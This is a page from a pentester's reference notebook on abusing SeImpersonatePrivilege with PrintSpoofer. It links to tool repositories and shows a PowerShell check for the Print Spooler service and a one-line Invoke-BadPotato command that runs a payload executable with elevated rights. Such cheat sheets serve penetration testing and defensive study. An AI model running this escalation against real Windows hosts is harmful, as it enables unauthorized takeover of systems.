Pentester's Promiscuous Notebook
Ctrlk
TwitterGitHubBlog
  • README
  • ⚒️Pentest
    • C2
    • Infrastructure
      • AD
        • ACL Abuse
        • AD CS Abuse
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasion
        • Authentication Coercion
        • Credentials Harvesting
        • Discovery
        • DnsAdmins
        • Dominance
        • gMSA / dMSA
        • GPO Abuse
        • Kerberos
        • Key Credentials Abuse
        • LAPS
        • Lateral Movement
        • LDAP
        • NTLM
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abuse
          • SeBackupPrivilege & SeRestorePrivilege
          • SeImpersonatePrivilege
            • Potatoes
            • PrintSpoofer
          • SeTrustedCredmanAccess
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure AD
      • DevOps
      • DBMS
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
    • Password Brute Force
    • Perimeter
    • Shells
    • Web
    • Wi-Fi
  • ⚔️Red Team
    • Basics
    • Infrastructure
    • Development
  • 🐞Exploit Dev
    • BOF
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
    • Networking
    • Virtualization
    • Windows
Powered by GitBook
On this page
  1. ⚒️Pentest
  2. Infrastructure
  3. AD
  4. Privileges Abuse
  5. SeImpersonatePrivilege

PrintSpoofer

  • https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

  • https://github.com/itm4n/PrintSpoofer

  • https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-BadPotato.ps1

Check if Print Spooler service is running:

PS > Get-Service Spooler

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler

Exploit:

PS > . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Users\snovvcrash\music\pwn.exe"

C# Implementation

  • https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp

  • https://github.com/S3cur3Th1sSh1t/NamedPipePTH/blob/main/Resources/PipeServerImpersonate/PipeServer.cpp

  • https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH/blob/16f8f7a90a543a0f5a3f70d3d02e8f120273e6ed/SharpNamedPipePTH/PipeServerImpersonate.cs

  • https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/PrintSpoofer.NET

Last updated 2 months ago